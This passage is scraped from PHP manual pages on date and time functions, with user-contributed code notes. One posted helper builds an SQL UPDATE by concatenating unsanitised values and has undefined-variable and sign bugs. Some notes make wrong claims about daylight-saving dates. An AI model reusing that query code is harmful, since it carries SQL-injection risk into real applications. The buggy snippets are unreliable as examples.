   $timeZone);
else
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
           $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
           $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
           $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
else
   $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
           $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
       $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
   $daysRemaining = floor($timeMinus/
                   $secondsInDay);
   if($daysRemaining >1 )
       return $daysRemaining ."&nbsp;Days&nbsp;";
   else
       return $daysRemaining ."&nbsp;Day&nbsp;";
}

if(empty($daysRemaining))
{
   $secondsInHour= 60*60;
   if ($secondsInHour <= $timeMinus)
   {
       $hoursRemaining =floor ($timeMinus/
                       $secondsInHour);
       if($hoursRemaining > 1 )
           return $hoursRemaining ."&nbsp;Hours&nbsp;";
       else
           return $hoursRemaining ."&nbsp;Hour&nbsp;";
   }
}

if(empty($hoursRemaining))
{
   //$secondsRemaining = $timeMinus. "&nbsp;Seconds";
   $secondsInMinute = 60;
   if ($secondsInMinute <= $timeMinus)
   {
       $mintuesRemaining =floor ($timeMinus/
               $secondsInMinute);
       if($mintuesRemaining > 1 )
           return $mintuesRemaining ."&nbsp;Minutes&nbsp;";
       else
           return $mintuesRemaining ."&nbsp;Minute&nbsp;";
   }
}

if(empty($mintuesRemaining))
{
   $secondsRemaining = $timeMinus;
   if($secondsRemaining < 0)
   {
       timedOutSale($ID,$table,$coloumnName);
       return "Time out";
   }
   elseif($secondsRemaining > 1 )
       return $secondsRemaining . "&nbsp;Seconds";
   else
       return $secondsRemaining . "&nbsp;Second";
}
}

function timedOutSale($ID,$table)
{
   GLOBAL $configVars, $db,$tableNames;
   $query =  "UPDATE " . $table
                   . " SET status = 'T'
                   WHERE $coloumnName = '" . $ID ."'";

           $result = $db->query($query);
   return;
}

?>
15-Sep-2005 06:02
<?php
function getTimeRemaining($timeZonePass,$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
    $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
    $timeZone);
else
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
            $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
            $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
            $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
    $slectedGmktimeAdded=($slectedGmktime)+
                        ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
    $slectedGmktimeAdded=($slectedGmktime)+
                        ($timeZone);
else
    $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
            $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
        $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
    $daysRemaining = floor($timeMinus/
                    $secondsInDay);
    if($daysRemaining >1 )
        return $daysRemaining ." Days ";
    else
        return $daysRemaining ." Day ";
}

if(empty($daysRemaining))
{
    $secondsInHour= 60*60;
    if ($secondsInHour <= $timeMinus)
    {
        $hoursRemaining =floor ($timeMinus/
                        $secondsInHour);
        if($hoursRemaining > 1 )
            return $hoursRemaining ." Hours ";
        else
            return $hoursRemaining ." Hour ";
    }
}

if(empty($hoursRemaining))
{
    //$secondsRemaining = $timeMinus. " Seconds";
    $secondsInMinute = 60;
    if ($secondsInMinute <= $timeMinus)
    {
        $mintuesRemaining =floor ($timeMinus/
                $secondsInMinute);
        if($mintuesRemaining > 1 )
            return $mintuesRemaining ." Minutes ";
        else
            return $mintuesRemaining ." Minute ";
    }
}

if(empty($mintuesRemaining))
{
    $secondsRemaining = $timeMinus;
    if($secondsRemaining < 0)
    {
        timedOutSale($ID,$table,$coloumnName);
        return "Time out";
    }
    elseif($secondsRemaining > 1 )
        return $secondsRemaining . " Seconds";
    else
        return $secondsRemaining . " Second";
}
}

function timedOutSale($ID,$table)
{
    GLOBAL $configVars, $db,$tableNames;
    $query =  "UPDATE " . $table
                    . " SET status = 'T'
                    WHERE $coloumnName = '" . $ID ."'";

            $result = $db->query($query);
    return;
}
?>
jbr (AT) ya-right.com 13-Feb-2005 07:04
I have seen many different hacked versions of this function for people using Windows that want to support dates before Jan 1, 1970. Here is yet another one that is different than others you may have seen! It does not use loops like all the others I have seen!

<?php

// usage...

echo win_gmmktime ( 12, 43, 16, 07, 23, 1946 );

function win_gmmktime ( $hour, $minute, $second, $month, $day, $year )
{
    if ( $year > 1969 )
    {
        return ( gmmktime ( $hour, $minute, $second, $month, $day, $year ) );
    }

    $t = 0;
    $ds = 86400;
    $hs = 3600;
    $dy = 365;
    $ms = 60;

    $months = array ( 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 );
    $leap_year = $year % 4 == 0 && ( $year % 100 > 0 || $year % 400 == 0 ) ? true : false;

    if ( $year < 1969 )
    {
        $y = 1969 - $year;
        $t -= ( $y * $dy ) * $ds;
        $x = ceil ( $y / 4 );

        if ( $leap_year && $month > 2 )
        {
            $x -= 1;
        }

        $t -= $x * $ds;
    }

    if ( $month != 12 )
    {
        $tm = $months;
        $tm = array_slice ( $tm, $month );
        $t -= array_sum ( $tm ) * $ds;
        unset ( $tm );
    }

    $nh = ( ( $month == 2 && $leap_year ? 29 : $months[$month-1] ) - $day );
    $t -= $nh != 0 ? $nh * $ds : 0;
    $nh = 23 - $hour;
    $t -= $nh != 0 ? $nh * $hs : 0;
    $nh = 59 - $minute;
    $t -= $nh != 0 ? $nh * $ms : 0;
    $nh = 59 - $second;
    $t -= $nh != 0 ? $nh + 1 : 0;

    return ( $t );
}

?>
welch at advomatic dot com 02-Feb-2005 09:48
Here is a handy routine for counting down to the minute, hour, and day to a timestamp

<?php
      $minutesleft = floor(($timestamp - gmtime()) / 60);

      if ($minutesleft < 0) {
        $timeleft = 'NOW';
      }
      else if ($minutesleft < 60) {
        $timeleft = ($minutesleft==1 ? '1 minute' : $minutesleft.' minutes');
      }
      else if ($minutesleft >= 60 && $minutesleft < (24*60)) {
        $timeleft = (floor($minutesleft/60) == 1 ? '1 hour' : floor($minutesleft/60).' hours');
      }
      else if ($minutesleft >= (24*60)) {
        $days = floor($minutesleft / (24*60));
        // hours remainder
        $hours = ($minutesleft % (24*60)) / 60;
        // hours left in the day
        $hours_left = ((time() / 60) % (24*60)) / 60;
        // see if the remainder of hours is greater than the hours left in today, if so increase the days by one so that the days remaining mimics the date rather than how many 24 hour periods there are between now and then.
        if($hours > $hours_left) {
          $days++;
        }
        $timeleft = ($days == 1 ? '1 day' : $days.' days');
      }

      echo $timeleft;
?>
imoore76 at yahoo dot com 15-Jan-2005 10:16
Why not just do:

<?php

// assuming $start and $end are timestamps

$day_diff = floor(abs($start - $end) / 86400);

?>
justin at booleangate dot org 05-Jan-2005 09:10
Here's a play on turgut85's countDays function.  I've found it to be more efficient and it accepts unix timestamps rather than arrays.  Thanks for the ideas.

<?php
function count_days($start, $end) {
  // Count the days between $start and $end where both $start and $end
  //  are UNIX timestamps

  // Swap the two values if end is greater than start (to avoid the
  //  loop of death).
  if ($start < $end) {
    $t = $start;
    $start = $end;
    $end = $t;
  }

  // Increment the start time by one day until it is equal to the
  //  end time

  $days = 0;
  while ( $start < $end ) {
    $start = strtotime("+1 days", $start);
    $days++;
  }

  return $days;
}
?>
turgut85 at hotmail dot com 07-Dec-2004 05:53
<?php

// THIS ROUTINE COUNT DAYS BEETWEEN TWO DATE //
// BEGIN DATE COULD BE IN THE PAST OR IN THE FUTURE //

$beg['YEAR']=2004;
$beg['MONTH']=10;
$beg['DAY']=1;

$end['YEAR']=2004;
$end['MONTH']=10;
$end['DAY']=3;

function countDays ($beg,$end) {

$start = gmmktime(0,0,0,$beg['MONTH'],$beg['DAY'],$beg['YEAR']);
$endin = gmmktime(0,0,0,$end['MONTH'],$end['DAY'],$end['YEAR']);

// echo $start."\n";
// echo $endin."\n";

$day = 0;

if ($start < $endin) {
$toward = 1;
} else  {
$toward = 0;
}

$mover = $start;

if ($start != $endin) {

do {

$day++;

    if ($toward)  {
    $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']+$day),$beg['YEAR']);
    } else {
    $mover = gmmktime(0,0,0,$beg['MONTH'],($beg['DAY']-$day),$beg['YEAR']);
    }

} while ($mover != $endin);

}

echo $day;

return $day;
}

echo countDays ($beg,$end). " days. ";

?>

Turgut Z. YESILYURT
turgut85@hotmail.com
System and Application Developer
New Jersey, USA
mwwaygoo AT hotmail DOT com 22-Nov-2004 06:36
REF: http://www.dti.gov.uk/er/sumtimetb.htm

Since 1981 EC Directives have prescribed the start and end dates of summer time in all Member States.  There have to date been eight Directives which have set summer-time arrangements for fixed periods. The Summer Time Act 1972 sets the appropriate dates in the UK and summer-time orders have been made as necessary to implement the European Directives. The 9th EC Directive prescribes the start and end dates of summer time as the last Sundays in March and October respectively. These dates are in line with those already operating in the United Kingdom. The 9th Directive provides that these start and end dates should apply indefinitely.
---
9th EC Directive - 19 January 2001

Article 1
For the purposes of this Directive "summer-time period" shall mean the period of the year during which clocks are put forward by 60 minutes compared with the rest of the year.

Article 2
From 2002 onwards, the summer-time period shall begin, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in March.

Article 3
From 2002 onwards, the summer-time period shall end, in every Member State, at 1.00 a.m., Greenwich Mean Time, on the last Sunday in October.

You stand corrected ;-)  (well up until 2007 anyway)
Andy 19-Oct-2004 04:00
mwwaygoo's code isn't quite right. My understanding is that the relevant dates for changing between daylight saving time in the UK is the third sunday of march and october - not the last sunday!
mwwaygoo AT hotmail DOT com 13-Sep-2004 12:51
I had a problem with hosting a UK site on a US server, the times didnt match (obviously) and also didnt account for daylight savings time. The daylight savings dates and times of change differ worldwide, so detecting if the server was in dst wouldnt work (see http://webexhibits.org/daylightsaving/).

Here is a function for creating a timestamp which can be used by date() to create all the parameters required to display the local time (site not server). I have used GMT time to create the timestamp as there is no offset for UK time (+00).

<?php
function UKdst_time()
{
    // created by Matthew Waygood (www.waygoodstuff.co.uk)
    $timestamp = mktime(gmdate("H, i, s, m, d, Y")); // UTC time
    $this_year=gmdate("Y", $timestamp);

    // last sunday in march at 1am UTC
    $last_day_of_march=gmmktime(1,0,0,3,31,$this_year);
    $last_sunday_of_march=strtotime("-".gmdate("w", $last_day_of_march)." day", $last_day_of_march);

    // last sunday in october at 1am UTC
    $last_day_of_october=gmmktime(1,0,0,10,31,$this_year);
    $last_sunday_of_october=strtotime("-".gmdate("w", $last_day_of_october)." day", $last_day_of_october);

    if( ($timestamp > $last_sunday_of_march) && ($timestamp < $last_sunday_of_october) )
    {
        $timestamp=$timestamp+3600; // foward one hour
    }
    return $timestamp;
}
?>
Dave 29-Mar-2004 06:35
There appears to be a discrepency between PHP and C timestamps.  The C time() and gettimeofday() functions are documented to return based on UTC time, but the value obtained doesn't match the PHP gmmktime() function.  Instead, it matches the PHP mktime() function, which is supposed to be local time.

It seems that C always uses a UTC timestamp and adjusts to local time through different handling functions (gmtime() vs localtime()).  PHP appears to use differing UTC/local timestamps, but single handling functions.

The exception to this rule is the PHP time() function, which appears to behave in the same was as the C version.

In short, if your PHP is working with timestamps created in C (or vice versa) make sure you are comparing apples to apples.
zhong311 at collegeclub dot com 14-Feb-2004 12:40
When attempting to use HTTP's If-Modified-Since features for caching I ran into the problem of being able to compare the GMT date the browser was sending to my own Last-Modified date (stored in a database field). I saw many examples of how to create a GMT date from a unix timestamp, but little on how to actually get a GMT date into a unix timestamp. Perhaps someone has a better way, here's my solution:

<?php

function gmstrtotime($sgm) {
    $months = array(
      'Jan'=>1,
      'Feb'=>2,
      'Mar'=>3,
      'Apr'=>4,
      'May'=>5,
      'Jun'=>6,
      'Jul'=>7,
      'Aug'=>8,
      'Sep'=>9,
      'Oct'=>10,
      'Nov'=>11,
      'Dec'=>12
    );
    list($D, $d, $M, $Y, $H, $i, $s) = sscanf($sgm, "%3s, %2d %3s %4d %2d:%2d:%2d GMT");
    return gmmktime($H, $i, $s, $months[$M], $d, $Y);
}

// test: after all is said and done
// $time should be the same as $gmtime

$time = time();
$us = date("m/d/Y H:i:s",$time);
$sgm = gmdate("D, d M Y H:i:s",$time) . " GMT";

$gmtime = gmstrtotime($sgm);

echo $us . "<BR>";
echo $sgm . "<BR>";
echo $time . "<BR>";
echo $gmtime . "<BR>";

?>

My results:

02/13/2004 10:45:42
Fri, 13 Feb 2004 20:45:42 GMT
1076705142
1076705142

Credit to kyle at frozenonline dot com for his strtotime example


Format a GMT/UTC time/date according to locale settings

  • « gmmktime
  • idate »
  • PHP Manual
  • Date/Time Functions
  • Format a GMT/UTC time/date according to locale settings

gmstrftime

(PHP 4, PHP 5)

gmstrftime — Format a GMT/UTC time/date according to locale settings

Description

string gmstrftime ( string $format [, int $timestamp = time() ] )

Behaves the same as strftime() except that the time returned is Greenwich Mean Time (GMT). For example, when run in Eastern Standard Time (GMT -0500), the first line below prints "Dec 31 1998 20:00:00", while the second prints "Jan 01 1999 01:00:00".

Parameters

format

See description in strftime().

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a string formatted according to the given format string using the given timestamp or the current local time if no timestamp is given. Month and weekday names and other language dependent strings respect the current locale set with setlocale().

Examples

Example #1 gmstrftime() example

<?php
setlocale(LC_TIME, 'en_US');
echo strftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
echo gmstrftime("%b %d %Y %H:%M:%S", mktime(20, 0, 0, 12, 31, 98)) . "\n";
?>

See Also

  • strftime() - Format a local time/date according to locale settings

User Contributed Notes

pvdster at hotmail dot com 22-Mar-2005 04:50
If you want the dutch time on your pages and you are hosted on a server in the USA you can easily change it this way:

<?php
setlocale(LC_TIME, 'nl_NL');
$tgl = gmstrftime("%d %B %Y - %H:%M uur",time()+3600);
?>

Then use $tgl to display the right time.
Note the +3600 is a day light savings time correction.
The result: 22 maart 2005 - 16:39 uur

First I used the normal date function and this was the previous result: March 22, 2005 - 04:28 AM

I needed it for a dutch guestbook.

I'm new to PHP and it took me a while to find it out and maybe it's of no use for experienced PHP programmers but I thought people can always ignore my post :)
peter dot albertsson at spray dot se 05-Feb-2005 04:27
gmstrftime() should not be used to generate a RFC 850 date for use in HTTP headers, since its output is affected by setlocale().

Use gmdate instead:

gmdate('D, d M Y H:i:s') . ' GMT';
yellow dot snow at huskies dot com 10-Oct-2004 06:15
HTTP 1.1 (RFC 2068) requires an RFC 1123 date with a four digit year, so the correct format to use for a Last-modified header would look something like this:

<?php
header("Last-modified: " .
gmstrftime("%a, %d %b %Y %T %Z",getlastmod()));
?>
neo at gothic-chat d0t de 25-Jun-2004 08:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().


Format a local time/date as integer

  • « gmstrftime
  • localtime »
  • PHP Manual
  • Date/Time Functions
  • Format a local time/date as integer

idate

(PHP 5)

idate — Format a local time/date as integer

Description

int idate ( string $format [, int $timestamp = time() ] )

Returns a number formatted according to the given format string using the given integer timestamp or the current local time if no timestamp is given. In other words, timestamp is optional and defaults to the value of time().

Unlike the function date(), idate() accepts just one char in the format parameter.

Parameters

format

The following characters are recognized in the format parameter string
format character | Description
B | Swatch Beat/Internet Time
d | Day of the month
h | Hour (12 hour format)
H | Hour (24 hour format)
i | Minutes
I (uppercase i) | returns 1 if DST is activated, 0 otherwise
L (uppercase l) | returns 1 for leap year, 0 otherwise
m | Month number
s | Seconds
t | Days in current month
U | Seconds since the Unix Epoch - January 1 1970 00:00:00 UTC - this is the same as time()
w | Day of the week (0 on Sunday)
W | ISO-8601 week number of year, weeks starting on Monday
y | Year (1 or 2 digits - check note below)
Y | Year (4 digits)
z | Day of the year
Z | Timezone offset in seconds

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns an integer.

As idate() always returns an integer and as they can't start with a "0", idate() may return fewer digits than you would expect. See the example below.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 idate() example

<?php
$timestamp = strtotime('1st January 2004'); //1072915200

// this prints the year in a two digit format
// however, as this would start with a "0", it
// only prints "4"
echo idate('y', $timestamp);
?>

See Also

  • date() - Format a local time/date
  • getdate() - Get date/time information
  • time() - Return current Unix timestamp

User Contributed Notes

khaine at herbok dot org 22-Dec-2010 11:07
A function that made by idate for print a hour you want:

<?php
function hour ( $a, $b )
{
    $timestamp = strtotime(''.$a.':'.$b.':00');
    $aa = idate('H', $timestamp);
    $bb = idate('i', $timestamp);
    if($bb=="0") { $cc = "00"; } else { $cc = $bb; }
    $dd = $aa.".".$cc;
    return($dd);
}
?>

Why should i use it?
For example:
You have to print 08:00 to 21:00 by 15 minutes periods.
This is a useful code for shipping sites for delivery time.

<?php
echo "<select name=\"example\">";
for($i=8;$i<=20;$i++)
{
    for($ii=0;$ii<=3;$ii++)
    {
        $iii = $ii * 15;
        $hour = hour($i, $iii);
        echo "<option value=\"".$hour."\">".$hour."</option>";
    }
}
echo "</select>";
?>


Get the local time

  • « idate
  • microtime »
  • PHP Manual
  • Date/Time Functions
  • Get the local time

localtime

(PHP 4, PHP 5)

localtime — Get the local time

Description

array localtime ([ int $timestamp = time() [, bool $is_associative = false ]] )

The localtime() function returns an array identical to that of the structure returned by the C function call.

Parameters

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

is_associative

If set to FALSE or not supplied then the array is returned as a regular, numerically indexed array. If the argument is set to TRUE then localtime() returns an associative array containing all the different elements of the structure returned by the C function call to localtime. The names of the different keys of the associative array are as follows:

  • "tm_sec" - seconds, 0 to 59
  • "tm_min" - minutes, 0 to 59
  • "tm_hour" - hours, 0 to 23
  • "tm_mday" - day of the month, 1 to 31
  • "tm_mon" - month of the year, 0 (Jan) to 11 (Dec)
  • "tm_year" - years since 1900
  • "tm_wday" - day of the week, 0 (Sun) to 6 (Sat)
  • "tm_yday" - day of the year, 0 to 365
  • "tm_isdst" - is daylight savings time in effect? Positive if yes, 0 if not, negative if unknown.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

Example #1 localtime() example

<?php
$localtime = localtime();
$localtime_assoc = localtime(time(), true);
print_r($localtime);
print_r($localtime_assoc);
?>

The above example will output something similar to:

Array
(
    [0] => 24
    [1] => 3
    [2] => 19
    [3] => 3
    [4] => 3
    [5] => 105
    [6] => 0
    [7] => 92
    [8] => 1
)

Array
(
    [tm_sec] => 24
    [tm_min] => 3
    [tm_hour] => 19
    [tm_mday] => 3
    [tm_mon] => 3
    [tm_year] => 105
    [tm_wday] => 0
    [tm_yday] => 92
    [tm_isdst] => 1
)

See Also

  • getdate() - Get date/time information

User Contributed Notes

mimmux 18-Sep-2014 05:01
its something strange on locatime function, if i test this function with zero parameter

print_r(localtime(0));

it returns this
Array
(
    [0] => 0
    [1] => 0
    [2] => 1   <-----
    [3] => 1
    [4] => 0
    [5] => 70
    [6] => 4
    [7] => 0
    [8] => 0
)
that is not the unix epoc but one hour after, it should be
Array
(
    [0] => 0
    [1] => 0
    [2] => 0   <-----
    [3] => 1
    [4] => 0
    [5] => 70
    [6] => 4
    [7] => 0
    [8] => 0
)
Chris 25-May-2011 05:26
Sometimes, there's not a server-based/PHP method for getting local time. You have to get it from the client via Javascript.  Google "bitbucket timezone detect" and use it to set a "local_timezone" cookie that you can read from PHP and set via date_default_timezone_set()
anomie at users dot sourceforge dot net 08-Dec-2006 09:22
Here is another version of gmtime(). This one doesn't involve messing around with timezones at all. Note that PHP4 users should check out the array_combine page for replacements for that function.

<?php
function gmtime($ts=null, $is_associative=false){
    if(is_null($ts)) $ts=time();
    $t=array_map('intval',explode(',',gmdate('s,i,H,d,m,Y,w,z,I',$ts)));
    $t[4]--;
    $t[5]-=1900;
    if(!$is_associative) return $t;
    return array_combine(array('tm_sec','tm_min','tm_hour','tm_mday','tm_mon',
                                 'tm_year','tm_wday','tm_yday','tm_isdst'),
                       $t);
}
?>
tony at speedscript dot com 24-Feb-2004 07:35
Date select box for the current week, or whatever week you give for an offset (in seconds), returns the string you can echo with the select box named $name:

<?php
function week_date_selectbox( $time_offset, $name )
    {
    if( isset( $time_offset ) )
        $t = time() + $time_offset;
    else
        $t = time();

    $wday = array("Sun ","Mon ","Tue ","Wed ","Thu ","Fri ","Sat ");
    $mon = array("Jan ","Feb ","Mar ","Apr ","May ","Jun ","Jul ","Aug ","Sep ","Oct ","Nov ","Dec ");
    $mybox = "<select name=\"$name\">\n";
    for($ii = 0; $ii > -6; $ii--)
        {
        $tarr = localtime( $t + $ii * 86400, 1 );
        if( $tarr["tm_wday"] == 0 )
            {
            // found Sunday, now make the week's strings
            for($jj = 0; $jj < 7; $jj++)
                {
                $tarr = localtime( $t + ($jj + $ii) * 86400, 1 );
                $mybox .= sprintf( " <option value=\"%04d-%02d-%02d\">%s%s%d %d</option>\n",
                        ((int)$tarr["tm_year"] + 1900),
                        $tarr["tm_mon"],
                        ((int)$tarr["tm_mday"] + 1),
                        $wday[$tarr["tm_wday"]],
                        $mon[$tarr["tm_mon"]],
                        (int)$tarr["tm_mday"],
                        ((int)$tarr["tm_year"] + 1900) );
                }
            break;
            }
        }
    $mybox .= "</select>\n";

    return $mybox;
    }
?>
arch at archtech dot yi dot org 09-Dec-2002 10:25
You can implement gmtime quote simply.

<?php
function GetTZOffset() {
  $Offset = date("O", 0);

  $Parity = $Offset < 0 ? -1 : 1;
  $Offset = $Parity * $Offset;
  $Offset = ($Offset - ($Offset % 100))/100*60 + $Offset % 100;

  return $Parity * $Offset;
}

$TZOffset = GetTZOffset();

$t_time = time()-$TZOffset*60; #Counter adjust for localtime()
$t_arr = localtime($t_time);
?>
jausions-N at SPAM-hotmail dot com 26-Apr-2002 09:42
I strongly suggest to do all of your developments using GMT/UTC dates & times.

I provide here a version of a 'gmttime' function. Save it in a separate file and include it when needed.

Please post a correction here if you find it not working for your timezone (with or without daylight saving time.).

Thanks & Enjoy.
-----------------------------------------------

<?php
//
// File: gmttime.php
//
// Description:
//    Implements the gmttime function if missing from the PHP distribution
//

// Verifies that the function isn't already implemented
if (function_exists(gmttime))
    return;

//
// Function: gmttime
//
// Description:
//   Returns an array indexed as by the localtime() function:
//   - 0 or tm_sec: Seconds
//   - 1 or tm_min: Minutes
//   - 2 or tm_hour: Hour
//   - 3 or tm_mday: Day of the month
//   - 4 or tm_mon: Month of the year
//   - 5 or tm_year: Years since 1900
//   - 6 or tm_wday: Day of the week
//   - 7 or tm_yday: Day of the year
//   - 8 or tm_isdst: Is daylight saving time in effect
//   - tm_fyear: Full year (only available with associative array)
//
// Arguments:
//   - Timestamp
//   - Boolean (for associative indexing: 0 = off, 1 = on)
//
// Returns:
//   An array on success,
//   false on failure.
//
function gmttime($dTimestamp = '', $bAssoc = 0) {
    // Evaluate how much difference there is between local and GTM/UTC
    // Don't forget to correct for daylight saving time...
    $aNow = localtime();
    $iDelta = gmmktime(1, 1, 1, 1, 1, 1970, $aNow[8]) - mktime(1, 1, 1, 1, 1, 1970, $aNow[8]);

    if (!$bAssoc) {
        if ($dTimestamp == '') {
            return localtime(time() - $iDelta, 0);
        } else {
            return localtime($dTimestamp - $iDelta, 0);
        }
    } else {
        // For associative array, add full year index
        if ($dTimestamp == '') {
            $aGMTTime = localtime(time() - $iDelta, 1);
        } else {
            $aGMTTime = localtime($dTimestamp - $iDelta, 1);
        }
        $aGMTTime['tm_fyear'] = $aGMTTime['tm_year'] + 1900;
        return $aGMTTime;
    } // End [IF] return associative array?
} // End [FUNCTION] gmttime
?>
bens_nospam at benjamindsmith dot com 31-Mar-2002 03:29
You must keep in mind the difference between your server's time and your client's time!

I ran into this one when I wrote a calendar-based reminder system with SMS messaging - guys back east were always getting their messages late. (!?!)

I wrote two functions as wrappers for date handling, ServerTime() and ClientTime() that take client time (integer timestamp) and translate to server time and vice-versa based on config file settings.

Needless to say, you CANNOT FORGET THIS.
test at test dot de 22-Aug-2001 07:05
to set up berlin time it could look like this:

<?php
    print "<HTML><body><pre>";

    setlocale( "LC_ALL", "de_DE" );

    putenv( "PHP_TZ=Europe/Berlin" );

    $now = time();

    print_r( localtime(time(),true) );
    print_r( getdate() );

    print date("H:i:s");
    print date("T");

?>
verdy_p at wanadoo dot fr 22-Jul-2001 02:23
The corresponding function call to get the GMT time is not specified here. Only local time is reported, according to the current TZ environment setting.
One could try to use putenv() to set another timezone temporarily, however when running PHP in safe mode, putenv() is disabled and cannot be used in scripts.
However it's possible to simulate gmttime() by using localtime() and by transforming the results in the returned array.
The biggest problem with this function is that it is using an OS-dependent and localtime() function which is also depending on the standard C library implementation (some of them, do not support accurate locales). The second problem is that localtime() does not return an index specifying the local timezone offset, so transforming this date to UTC will become very ugly. Some systems support the gmtime() C function call, some don't. To get the timezone, some C libraries provide a global _timezone variable, some provide it as a macro that use a function call, some do not provide any variable, and one must deduce it by interpreting the TZ environment. This is too much ugly for PHP.

PHP should be extended by adding support to gmttime() with the same parameters, but the returned array should include additional indices to store the timezone offsets in seconds and names for both standard time and DST, for example:
 [tz_offset_std] = 3600,
 [tz_offset_dst]= 7200,
 [tz_name_std] = 'CET', (GMT+01:00)
 [tz_name_dst] = 'CEDT'. (GMT+02:00)
Or for the international, locale-independant, Zulu time (also known as UCT or simply UT), returned by gmtime():
 [tz_offset] = 0,
 [tz_offset_dst]= 0,
 [tz_name] = 'Z',
 [tz_name_dst] = 'Z'.

But it's much easier to use PHP's date() and gmdate() to make such transformations.

Beware of DST rules! In the southern hemisphere, standard time still occurs during winter, but the southern Winter is in June, not in December ! Use the tm_isdst indicator to know which timezone to display or interpret !


Return current Unix timestamp with microseconds

  • « localtime
  • mktime »
  • PHP Manual
  • Date/Time Functions
  • Return current Unix timestamp with microseconds

microtime

(PHP 4, PHP 5)

microtime — Return current Unix timestamp with microseconds

Description

mixed microtime ([ bool $get_as_float = false ] )

microtime() returns the current Unix timestamp with microseconds. This function is only available on operating systems that support the gettimeofday() system call.

Parameters

get_as_float

If used and set to TRUE, microtime() will return a float instead of a string, as described in the return values section below.

Return Values

By default, microtime() returns a string in the form "msec sec", where sec is the number of seconds since the Unix epoch (0:00:00 January 1,1970 GMT), and msec measures microseconds that have elapsed since sec and is also expressed in seconds.

If get_as_float is set to TRUE, then microtime() returns a float, which represents the current time in seconds since the Unix epoch accurate to the nearest microsecond.

Examples

Example #1 Timing script execution with microtime()

<?php
/**
 * Simple function to replicate PHP 5 behaviour
 */
function microtime_float()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}

$time_start = microtime_float();

// Sleep for a while
usleep(100);

$time_end = microtime_float();
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

Example #2 Timing script execution in PHP 5

<?php
$time_start = microtime(true);

// Sleep for a while
usleep(100);

$time_end = microtime(true);
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

Example #3 microtime() and REQUEST_TIME_FLOAT (as of PHP 5.4.0)

<?php
// Randomize sleeping time
usleep(mt_rand(100, 10000));

// As of PHP 5.4.0, REQUEST_TIME_FLOAT is available in the $_SERVER superglobal array.
// It contains the timestamp of the start of the request with microsecond precision.
$time = microtime(true) - $_SERVER["REQUEST_TIME_FLOAT"];

echo "Did nothing in $time seconds\n";
?>

See Also

  • time() - Return current Unix timestamp

User Contributed Notes

Daniel Rhodes 27-Aug-2013 09:54
But note that the default 'precision' setting of PHP* - which is used when a float is converted to a stringy format by echo()ing, casting or json_encode()ing etc - is not enough to hold the six digit accuracy of microtime(true).

Out of the box, microtime(true) will echo something like:

1377611450.1234

Which is obviously less than microsecond accuracy. You'll probably want to bump the 'precision' setting up to 16 which will echo something like:

1377611450.123456

*Internally* it will be accurate to the six digits even with the default 'precision', but a lot of things (ie. NoSQL databases) are moving to all-text representations these days so it becomes a bit more important.

* 14 at the time of writing
Nads 17-Jul-2013 05:28
Get date time with milliseconds

